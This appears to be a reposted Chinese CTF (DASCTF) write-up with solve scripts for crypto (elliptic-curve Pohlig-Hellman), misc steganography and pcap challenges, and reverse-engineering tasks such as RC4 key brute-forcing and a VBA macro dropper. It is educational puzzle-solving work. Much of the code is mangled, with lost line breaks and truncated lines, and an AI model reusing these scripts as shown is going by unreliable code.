from Crypto.Util.Padding import unpaddef add_curve(P, Q, K):a, d, p = Kif P == (0, 0):return Qif Q == (0, 0):return Px1, y1 = Px2, y2 = Qx3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % py3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow((1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % preturn x3, y3def mul_curve(n, P, K):R = (0, 0)while n > 0:if n % 2 == 1:R = add_curve(R, P, K)P = add_curve(P, P, K)n = n // 2return Ra = 46
d = 20
p1 = 826100030683243954408990060837
K1 = (a, d, p1)
G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = (528578510004630596855654721810, 639541632629313772609548040620)
Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
for c in range(100):if P1 == mul_curve(c, G1, K1):print("c =", c)break
for b in range(100):if Q1 == mul_curve(b, G1, K1):print("b =", b)break
#c = 35
#b = 98p = 770311352827455849356512448287a = -35
b = 98
gx =584273268656071313022845392380
gy =105970580903682721429154563816
px =401055814681171318348566474726
py =293186309252428491012795616690E = EllipticCurve(GF(p), [a, b])
G = E.gens()[0]
n = E.order()
QA = E(px, py)factors = list(factor(n))
m = 1
moduli = []
remainders = []print(f"[+] Running Pohlig Hellman")
print(factors)for i, j in factors:if i > 10**9:print(i)breakmod = i**jg2 = G*(n//mod)q2 = QA*(n//mod)r = discrete_log(q2, g2, operation='+')remainders.append(r)moduli.append(mod)m *= modr = crt(remainders, moduli)
print(r)
#59260093280148
n = P.order() // factors[-1][0]
#318034270656032data = {'iv': 'bae1b42f174443d009c8d3a1576f07d6','cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'
}
for i in range(99999):key = hashlib.sha256(str(r).encode()).digest()[:16]cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(data['iv']))ciphertext = bytes.fromhex(data['cipher'])try:plaintext_padded = cipher.decrypt(ciphertext)plaintext = unpad(plaintext_padded, AES.block_size)if plaintext.startswith(b'DASCTF{'):print(plaintext.decode('utf-8'))breakexcept ValueError:passr += n
# b'DASCTF{THe_C0rv!_1s_Aw3s0me@!!}

misc

1.hiden

刚拿到题目还不明白txt的名字是什么意思,后来查阅misc常见的加密形式中偶然发现rot47加密和rot13 加密里面的数字加在一起刚好是60,真是长见识了。果断进行解密:

得到一个加密脚本:

import wavewith open('flag.txt', 'rb') as f:txt data = f.read()file len = len(txt data)txt data = file len.to bytes(3, byteorder = 'little') + txt datawith wave.open("test.wav", "rb") as f:attrib = f.getparams()wav data = bytearray( f.readframes(-1) )for index in range(len(txt data)):wav data[index * 4] = txt data[index]with wave.open("hiden.wav", "wb") as f:f.setparams(attrib) f.writeframes(wav data)

直接拉去gpt给我们一个脚本解密:

import wave\# 打开隐藏了txt数据的wav文件with wave.open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件 
\hiden\hiden\hiden.wav", "rb") as f:attrib = f.getparams()wav data = bytearray(f.readframes(-1))\# 提取文本数据txt data = bytearray()for index in range(0, len(wav data), 4):txt data.append(wav data[index])\# 计算原始txt数据的长度 try:file len = int.from bytes(txt data[:3], byteorder='little') txt data = txt data[3:]\# 如果提取的数据长度小于原始长度,则截取到实际长度txt data = txt data[:file len] except (IndexError, ValueError) as e:print(f"An error occurred while extracting the data: {e}")exit(1)\# 将提取的字节写入flag.txt文件with open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件\hiden\hiden\flagg.txt", 
'wb') as f:f.write(txt data)print("flag.txt has been decrypted.")

DASCTF{12jkl-456m78-90n1234}

2.check in:

下载下来发现是一个十六进制文件,直接导入到010中打开查看发现有流量包的字样,但暂时没有思路。
回过头来重新找线索,发现居然在压缩包中有注释:

拉去一个一个试发现是base58解密:

使用webstego来解密文件:

得到一个log日志,那么确定了肯定是用来做流量文件的密钥,考虑可以将十六进制转化为字符串:

def hex to pcapng(hex string, output file):

# 将十六进制字符串转换为字节

bytes data = bytes.fromhex(hex string)

# 将字节写入指定的输出文件

with open(output file, 'wb') as f: f.write(bytes data)

# 示例用法

if name == " main ":

# 读取十六进制字符串(假设从文件中读取)

with open(r"E:\download\Checkin\FLag.txt", 'r') as f: hex string = f.read().strip()

# 检查文件是否以0d0a开头

if hex string.startswith('0d0a'):
# 去掉开头的0d0a

hex string = hex string[4:]
# 打印出 hex string 以供调试
print(f"原始十六进制字符串:{hex string}")

# 清理输入,去掉任何非十六进制字符

hex string = ''.join(filter(lambda x: x in '0123456789abcdefABCDEF', hex string))

# 确保 hex string 的长度为偶数

if len(hex string) % 2 != 0:
print("警告:十六进制字符串长度为奇数,可能导致转换错误。")

去掉最后一个字符(或处理异常)

# 写入pcapng文件

output filename = r"E:\download\Checkin\FLag.pcapng" hex to pcapng(hex string, output filename)

print(f"已成功转换为 {output filename}")

得到pcap文件,然后根据网上教程依次:

“编辑”——“首选项”——“TLS"——填入刚才得到的log日志,然后过滤http后查找flag:


得到一个gif图片 ,导出来一个gif图片

用命令来处理帧:

identify -format "%T " kk.gif > flag.txt 得到一串数字:

换一换数字再进行二进制解码:

5.不一样的数据库_2

下载下来发现加密压缩包直接爆破得到密码:


得到一张


得到字符串,名字提示rot13,解码后得到:



AES@JDHXGD12345&JJJS@JJJSK#JJDKA JKAH 使用keepass打开kdbx文件:


得到密文,并在history中发现密文,结合名字aes,直接解密得到最终flag:


6.so much

下载下来发现是无后缀的文件,010打开观察一下文件:

得到密码,ftk挂载:


输入密码:
1234567发现不对,尝试一下键盘上对应的字符!@#¥%……&:


得到了许多小文件,随便点开几个,没有发现有用的信息,然后注意到时间只有一些微小的差别,考虑 可能隐藏在时间戳中,仔细观察发现分和秒都只有两种情况,将分钟数视为0和1,作为二进制来解密:

00110111 00110000 00110000 00110010 00110010 00111001 01100011 00110000 00110101

00110011 01100010 00110100 01100101 01100010 01100010 01100011 01100110 00110001

01100001 00110011 01100011 01100011 00110011 00110111 01100011 00110011 00111000

00111001 01100011 00110100 01100110 01100001

解密得到:
700229c053b4ebbcf1a3cc37c389c4fa


使用encrypto软件随便解密两个,刚好0和1文件就是flag: DASCTF{85235bd803c2a0662b771396bce9968f}

4.miaoro

下载压缩包,解压得到一个流量包:


老样子查一下flag没有查到有用信息,追踪一下tcp流,在第6个流后发现几个非常长的cookie:


挨个解密看一下有没有可用信息:


发现关键字符串,得到上半部分flag。

同样发现有可疑字符;



GWHT命令,将之后每一个流中的该命令base64解密发现可读字符:


在其中发现一串密码:



同时在流13中发现了一大串回应的报文,同样拉去base64;



得到明显的十六进制数据,但是没有观察到有效的文件头, 把最右侧的十六进制数据取出来,逆序后转十 六进制发现pk关键标识头


稍加修复后保存为压缩包,密码直接用刚才找到的密码即可得到图片,改一下宽高得到后半的flag:



DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}

3.1z_misc

下载下来发现是只有一句谜语,被卡了三个小时(火),尝试了很多方法,后来出了hint终于才勉强明白 出题人的脑洞,直接看图:



是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。

若女可为11,可为1124......觜可为91,亦可为725...结合要求,规律为逆时针转,前面两位为里面的天 干,后两位为外面的星宿,且永远从当前天干的最右边的星宿为1数起,得到密钥:

心胃心奎奎心奎心奎心胃心心心胃心心胃心奎奎奎奎胃奎心奎奎胃奎心奎心奎奎

观察一下发现只有胃没有连着,应该是空格,其他的一个长一个短作为摩斯代码解密得到密钥E@SILY!

解密后得到一个hint和一个无后缀文件,以前见过类似的题目,用lyra工具处理后,把音频用在线的转文
字工具提取出来会发现是一个核心价值观解密,解密即可得到flag。

RE

pic

拿到附件,是一张数据被篡改的png图片和一个可执行文件,于是我们先运 行一下可执行文件,



可以看到没有报错的提示,接下来我们查壳,



没有壳,64bit,直接丢到ida64里分析,然后直接F5大法,


发现并没有什么东西,然后再根据刚刚运行程序的回显来试一试,搜了key, 没找到,再搜了DAS,才搜到,终于拿到伪代码

// main.main

void    fastcall main   main() 
{int v0; // ebx int v1; // edi int v2; // esiint64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbx int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11dint64 v35; // [rsp-36h] [rbp-C8h] int64 v36; // [rsp-36h] [rbp-C8h] int64 v37; // [rsp-36h] [rbp-C8h] int64 v38; // [rsp-36h] [rbp-C8h] int64 v39; // [rsp-36h] [rbp-C8h] int64 v40; // [rsp-36h] [rbp-C8h] int64 v41; // [rsp-2Eh] [rbp-C0h] int64 v42; // [rsp-26h] [rbp-B8h] char v43; // [rsp+Ah] [rbp-88h] BYREF int64 v44; // [rsp+32h] [rbp-60h] string *v45; // [rsp+3Ah] [rbp-58h]int128 v46; // [rsp+42h] [rbp-50h] BYREFQWORD v47[2]; // [rsp+52h] [rbp-40h] BYREF QWORD v48[2]; // [rsp+62h] [rbp-30h] BYREF QWORD v49[3]; // [rsp+72h] [rbp-20h] BYREFwhile ( (unsigned   int64)&v46 + 8 <= *(    QWORD *)(v3 + 16) )
runtime     morestack   noctxt(); v49[2] = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() ) os    Exit(0, v0, v4, v1, v2, v5);
v49[0] = &RTYPE     string; v49[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v49,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v35);
p   string = (string *)runtime  newobject((const RTYPE *)&RTYPE     string) v45 = p     string;
p   string->ptr = 0LL; 
v48[0] = &RTYPE     ptr     string; v48[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, qword   561D58, (unsigned int)v48, if ( v45->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v47[0] = &RTYPE   string;
v47[1] = &off   4DD480;
fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v45->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v43, v45->ptr, v45->l v44 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 os     OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v33,
}

可以看到先检测长度是否为5,就是要求我们输入key,但是当我们点进 main_NewCipher函数时,看着像rc4加密,但是没有异或加密的部分,只有初始化init和生成密钥流的部分,于是查看一下汇编,


可以看到有一个花指令,去一下,就可以拿到真正的伪代码了,然后F5,

// main.main

void    fastcall main   main() 
{
int v0; // ebx int v1; // edi int v2; // esiint64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbxint v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d int64 v35; // rax int64 v36; // rbx int v37; // r8d int v38; // r9d int v39; // r10d int v40; // r11d int64 All; // rax int v42; // r8d int v43; // r9d int v44; // r10d int v45; // r11d char *v46; // rdx int64 v47; // rax int64 v48; // r11 int64 v49; // rsi int64 v50; // rcx int64 i; // rbx int64 v52; // rdx int v53; // r9d int v54; // r10d int64 j; // rbx int v56; // r13d char v57; // siint64 v58; // [rsp-36h] [rbp-C8h] int64 v59; // [rsp-36h] [rbp-C8h] int64 v60; // [rsp-36h] [rbp-C8h] int64 v61; // [rsp-36h] [rbp-C8h] int64 v62; // [rsp-36h] [rbp-C8h] int64 v63; // [rsp-36h] [rbp-C8h] int64 v64; // [rsp-36h] [rbp-C8h] int64 v65; // [rsp-36h] [rbp-C8h] int64 v66; // [rsp-36h] [rbp-C8h] int64 v67; // [rsp-2Eh] [rbp-C0h]int64 v68; // [rsp-2Eh] [rbp-C0h] int64 v69; // [rsp-2Eh] [rbp-C0h] int64 v70; // [rsp-2Eh] [rbp-C0h] BYTE v71[24]; // [rsp-26h] [rbp-B8h] int64 v72; // [rsp-26h] [rbp-B8h] int v73; // [rsp-Eh] [rbp-A0h]
char v74; // [rsp+0h] [rbp-92h]
char v75; // [rsp+Ah] [rbp-88h] BYREF int64 v76; // [rsp+2Ah] [rbp-68h] int64 v77; // [rsp+32h] [rbp-60h] string *v78; // [rsp+3Ah] [rbp-58h]int64 (     golang *v79)(int, int, int, int, int, int, int, int, int,int64 v80; // [rsp+4Ah] [rbp-48h] BYREF QWORD v81[2]; // [rsp+52h] [rbp-40h] BYREF QWORD v82[2]; // [rsp+62h] [rbp-30h] BYREF QWORD v83[2]; // [rsp+72h] [rbp-20h] BYREF void (**v84)(void); // [rsp+82h] [rbp-10h]while ( (unsigned   int64)&v80
runtime     morestack   noctxt(); v84 = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() os  Exit(0, v0, v4, v1, v2, v5);
v83[0] = &RTYPE     string; v83[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v83,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v58);
p   string = (string v78 = p    string;
p   string->ptr = 0LL; 
v82[0] = &RTYPE     ptr     string; v82[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, if ( v78->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v81[0] = &RTYPE   string;
v81[1] = &off   4DD480;fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v78->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v75, v78->ptr, v78->l v77 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 v35 = os   OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v79 = main  main    func1;
v80 = v35;
v84 = (void (**)(void))&v79; v36 = v35;
All = io    ReadAll((unsigned int)off   4DD9D8, v35, (unsigned int)&v79, v46 = v78->ptr; 
if ( v78->len <= 1 )
runtime     panicIndex(1LL); v76 = All;
v74 = v46[1];
v47 = runtime   makeslice((unsigned int)&RTYPE  uint8, v36, v36, 0, 1, v49 = v76;
v50 = v36; 
for ( i = 0LL; v50 > i; ++i )
*(  BYTE *)(v47 + i) = v74 ^ *(     BYTE *)(v49 + i); v52 = v77;
v53 = *(unsigned    int8 *)(v77 + 1024); v54 = *(unsigned   int8 *)(v77 + 1025); for ( j = 0LL; v50 > j; ++j )
{
v56 = *(    DWORD *)(v52
v54 += v56;
v57 = *(    BYTE *)(j + v47);
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v53) = 
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v54) = v48 = (unsigned     int8)(v56 + *(  DWORD *)(v52 + 
*(  BYTE *)(v47 + j) = *(   BYTE *)(v52 + 4 * v48)
}
*(  BYTE *)(v52 + 1024) = v53;
*(  BYTE *)(v52 + 1025) = v54;
os  WriteFile((int)"./flag.png", 10, v47, v50, v50, 420, v53, v54, v4 
(*v84)();
}

有两处异或



然后我们就可以写个python脚本进行爆破,爆破的内容就是png文件的文件 头

from itertools import product import stringdef init(key):
key     length = len(key) S = list(range(256)) j = 0
for i in range(256): 
j = (j + S[i] + key[i % key     length]) % 256
S[i], S[j] = S[j], S[i] return Sdef fff(S, length):
i = j = 0 K = []
for      in range(length): i = (i + 1) % 256
j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i]
K.append(S[(S[i] + S[j]) % 256]) return Kdef RC4(key, plaintext):
key = [ord(c) for c in key]
S = init(key)
keystream = fff(S, len(plaintext))result = bytearray([keystream[i] ^ plaintext[i]^ 0x11for i in raresult = bytearray([b ^ key[1] for b in result]) return resultdef find    key     for     png     signature():
"""Try to find the key by matching the PNG signature""" table = string.digits + "abcdef"
target  signature = bytes([0x89, 0x50, 0x4E, 0x47])with open("1.png", 'rb') as f: enc = f.read(4)print("Trying all possible keys...") for s in product(table, repeat=5):
key = "".join(s)
decrypted = RC4(key, enc) 
if decrypted[:4] == target  signature:
print(f"Found key: {key}") break
else:
print("No valid key found.")if      name     == "   main    ":
find key for png signature()

拿到密钥


运行程序,输入密钥,图片的数据进行修改拿到flag



docCrack WP

拿到附件,是一个docm文件,第一反应就是考察宏代码,刚好题目也说是老 东西,于是乎就用olevba“一把梭”了,

然后打开得到的txt文件,开始分析,可以看到有一个异或,异或7,

然后还有一个把所有字符串合在一起,就是这个xpkdb

然后将所有字符保存起来,运行指令


得到一个exe文件了,然后就直接用ida分析了

int     fastcall main   0(int argc, const char **argv, const char **envp) 
{
char *v3; // rdiint64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF int v7[125]; // [rsp+30h] [rbp+10h] int j; // [rsp+224h] [rbp+204h]v3 = &v6;
for ( i = 138i64; i; --i ) 
{
*)v3 = -858993460;}
j   CheckForDebuggerJustMyCode(&unk     14002200E, argv, envp); v7[0] = 4288;
v7[1] = 4480; v7[2] = 5376; v7[3] = 4352; v7[4] = 5312; v7[5] = 4160; v7[6] = 7936; v7[7] = 5184; v7[8] = 6464; v7[9] = 6528; v7[10] = 5632; v7[11] = 3456; v7[12] = 7424; v7[13] = 5632; v7[14] = 6336; v7[15] = 6528; v7[16] = 6720; v7[17] = 6144; v7[18] = 6272; v7[19] = 7488; v7[20] = 6656; v7[21] = 7296; v7[22] = 7424; v7[23] = 2432; v7[24] = 2432; v7[25] = 2432; v7[26] = 5632; v7[27] = 4416; v7[28] = 3456; v7[29] = 7168; v7[30] = 6528;v7[31] = 7488; v7[32] = 6272; v7[33] = 5632; v7[34] = 3520; v7[35] = 6208; v7[36] = 5632; v7[37] = 4736; v7[38] = 6528; v7[39] = 6400; v7[40] = 7488; v7[41] = 3520; v7[42] = 5632; v7[43] = 5184; v7[44] = 3456; v7[45] = 7488; v7[46] = 7296; v7[47] = 3200; v7[48] = 6272; v7[49] = 7424; v7[50] = 2432; v7[51] = 2432; v7[52] = 2432; v7[53] = 7808; if ( argc == 2 ) 
{
for ( j = 0; j < (int)j     strlen(argv[1])
v7[j + 64] = argv[1][j] << 6; for ( j = 0; (unsigned    int64)j < 
{
if ( v7[j] != v7[j + 64] ) 
{
sub     140011190("bad"); return 0;
}
}
sub     140011190("good"); return 0;
}
else
{
sub     140011190("no way!!!"); return 1;
}
}

就是一个位移,然后就可以写脚本了,很简单,

enc = [0] * 54
enc[0] = 4288
enc[1] = 4480
enc[2] = 5376
enc[3] = 4352
enc[4] = 5312
enc[5] = 4160
enc[6] = 7936
enc[7] = 5184
enc[8] = 6464
enc[9] = 6528
enc[10] = 5632
enc[11] = 3456
enc[12] = 7424
enc[13] = 5632
enc[14] = 6336
enc[15] = 6528
enc[16] = 6720
enc[17] = 6144
enc[18] = 6272
enc[19] = 7488
enc[20] = 6656
enc[21] = 7296
enc[22] = 7424
enc[23] = 2432
enc[24] = 2432
enc[25] = 2432
enc[26] = 5632
enc[27] = 4416
enc[28] = 3456
enc[29] = 7168
enc[30] = 6528
enc[31] = 7488
enc[32] = 6272
enc[33] = 5632
enc[34] = 3520
enc[35] = 6208
enc[36] = 5632
enc[37] = 4736
enc[38] = 6528
enc[39] = 6400
enc[40] = 7488
enc[41] = 3520
enc[42] = 5632
enc[43] = 5184
enc[44] = 3456enc[45] = 7488 enc[46] = 7296 enc[47] = 3200 enc[48] = 6272 enc[49] = 7424 enc[50] = 2432 enc[51] = 2432 enc[52] = 2432 enc[53] = 7808 for i in enc:
print(chr((i >> 6) ^ 7), end="")

flag:DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

你这主函数保真么 WP

拿到附件,我们就是一个可执行文件,运行一下,看看回显,可以看到有个 长度判断。查壳,


没有壳,32位,直接丢进ida32分析,直接F5,看到的是

可是当我们看到左边函数窗口,有一些很可疑的函数名,


一一查看下来,可以知道,encrypt(std::vector const&)函数是一个DCT, rot13_encrypt函数就是和它名字一样,rot,然后就是 tcf_0....再一个就是 _GLOBAL_sub_I_flag函数,这个函数也是最奇怪的,点进来一看


Test::Test函数是输入和检测长度的功能, tcf_2函数里面却是判断正误的地 方,Test2::Test2里就是rot,然后DCT在 tcf_3里,这就很奇怪了,程序运行 顺序完全乱了,这就真的应了题目名称所说你这主函数包真吗,后来搜索 atexit函数的作用才知道,该函数注册的函数会在程序结束的时候进行逆序的 运行,逆序的序就是函数注册的顺序,那这就可以理解了,输入的flag,先
进行了rot加密,然后再来一次dct加密,最后进行比对,比对的数据就是 check数组,那么我们就可以写解密脚本了

import numpy as npdef idct(dct    coeffs): N = len(dct    coeffs)
original = np.zeros(N) PI = np.pifor n in range(N): sum  val = 0.0 
for k in range(N):
Ck = (1.0 / np.sqrt(N)) if k == 0 else np.sqrt(2.0 / N) sum     val += Ck * dct     coeffs[k] * np.cos(PI * k * (2.0 * n +
original[n] = sum   val return originaldef vector  to  string(vec):
result = '' for val in vec:
ascii   val = int(round(val)) if 32 <= ascii    val <= 126:result += chr(ascii     val) return resultdef rot13(input     str): output = ''
for c in input  str: if 'a' <= c <= 'z':
output += chr((ord(c) elif 'A' <= c <= 'Z':
output += chr((ord(c) else:
output += c return outputdef main(): enc = [
513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.9864 15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20 
-4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.74 
-9.75476, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.68 26.8296
]original = idct(enc)
original    string = vector     to  string(original) decrypted      string = rot13(original     string)print("Decrypted string:", decrypted    string)if      name     == "   main    ": main()

得到flag
DASCTF{Wh0_1sMa1n@nd_FunnY_Dct}



题目附件地址:链接: https://pan.baidu.com/s/1DyWeste-n9tM3UpoZtlM5g 提取码: 761f


转自原文连接地址:   https://xz.aliyun.com/t/15448?time__1311=GqjxnDuGiQYWqGNDQ0PBKGQqoIY6bt7Wd4D#toc-4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/807949.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何修改PbootCMS默认面包屑导航样式及自定义设置方法

在PbootCMS中,面包屑导航是一个重要的导航元素,帮助用户快速了解当前页面的位置和路径。为了满足不同的设计需求,可以通过自定义参数和修改样式来调整面包屑导航。下面详细介绍如何进行这些自定义操作。 PbootCMS面包屑导航调用方式html{pboot:position}自定义参数 常用参数…

PbootCMS网站后台登录页面样式怎么修改

在PbootCMS中,如果你需要对后台的样式进行修改,通常需要找到相应的文件并进行编辑。下面是详细的步骤和注意事项: 后台样式文件位置 后台样式的文件通常位于以下路径:plaintext根目录/apps/admin/view/default/index.html修改步骤备份文件:在修改任何文件之前,请务必先备…

设置vs2019护眼编程背景色

https://blog.csdn.net/xdsl00/article/details/104680224在visual studio 2019 中默认颜色主题是深色,出于保护眼睛视力和长期编程考虑,应将编程背景设置为绿豆沙色。工具 -> 选项 -> 环境 -> 字体和颜色,显示项为“纯文本”,设置项背景色:色调=85,饱和度=123,…

查询结果为空时不显示报表内容

1.1 说明 本文介绍了如何在帆软报表中处理查询结果为空的情况,提供了两种解决方案:通过设置条件属性使空数据行高度为0,以及添加加载结束事件用JavaScript隐藏表格。这两种方法分别适用于PC端和移动端。 2.1 准备数据 新建普通报表,新建数据库查询 ds1,SQL 查询语句为:SE…

安装Kali2021.1步骤(VMware16.1.2)

脑子空空关注IP属地: 上海 2022.06.04 17:47:41字数 159阅读 991 1、VMware虚拟机的下载安装都在官网,这里用的是16.1.2的版本2、Kali下载(选择Virtual Machines)3、点击VMware64下方的下载图标(文件大小只有2G,网速快的话10-15分钟就下载完了)4、下载完成解压之后直接双…

Ubuntu+Cuda+cudnn安装

问题描述 实验室的Ubuntu主机重启之后显示器分辨率显示异常,双屏只亮了一个,另外一个显示无信号。 打开nvidia-smi显示找不到驱动,遂从网上搜集重新安装驱动以及cudnn的教程。此文记录此过程,方便后续查阅。 软硬件版本:Rtx3090 + Ubuntu22.04 1. 安装驱动 # remove nivid…

打开开发者模式

进入设置:从这里进去:在这里连续点 7, 8 下:然后从 system 进去:在 Advanced 这里:就有了开发者选项:模拟器安装时, 开发者选项默认是开启的, 可以手动关闭, 需要的时候再像这里演示的那样去开启.

七、Redis之sorted set

sorted set也是Redis中常用的类型。可以用来解决热搜,排名前十等问题。 ZADD ZADD key [NX|XX] [GT|LT] [CH] [INCR] score member [score member ...]zadd将多个分数和元素对添加到sorted set中。还有些选项影响了zadd的行为:XX: 仅更新已存在的元素。不要添加新元素。 NX:…

SQL--约束,范式

约束 唯一约束 一个表可以多个字段加 值唯一性 非空约束 一个表可以多个字段加 值不能为空 主键约束 一个表只有一个字段可以加 值不能为空 值必须唯一性 自增约束 数据类型 数值类型 一般配合#键约束使用 默认约束 一个表可以多个字段加 没有给值的时候 使用…

【SpringBoot】结合Redis实现缓存

Redis经常用于缓存。接下来,我们以Springboot框架为例。实现一些Redis的基础操作,创建完SpingBoot项目后,具体步骤如下图: pom中添加项目依赖<!-- Redis 缓存--> <dependency><groupId>org.springframework.boot</groupId><artifactId>sprin…

探索JVM的垃圾回收(堆内存)

Java 8+ -序章 在 C/C++ 语言中,程序员自己分配内存、回收内存,不存在垃圾回收一说。 而在 Java 中,内存分配 绝大多数 是 JVM 的工作——栈内存、堆内存、永久代/元空间 等。ben发布于博客园 内存分配了就完了吗?不。JVM 运行时 的 内存不是无限的,受制于 程序员配置、系…

扩散引导语言建模(DGLM):一种可控且高效的AI对齐方法

随着大型语言模型(LLMs)的迅速普及,如何有效地引导它们生成安全、适合特定应用和目标受众的内容成为一个关键挑战。例如,我们可能希望语言模型在与幼儿园孩子互动时使用不同的语言,或在撰写喜剧小品、提供法律支持或总结新闻文章时采用不同的风格。 目前,最成功的LLM范式是训练…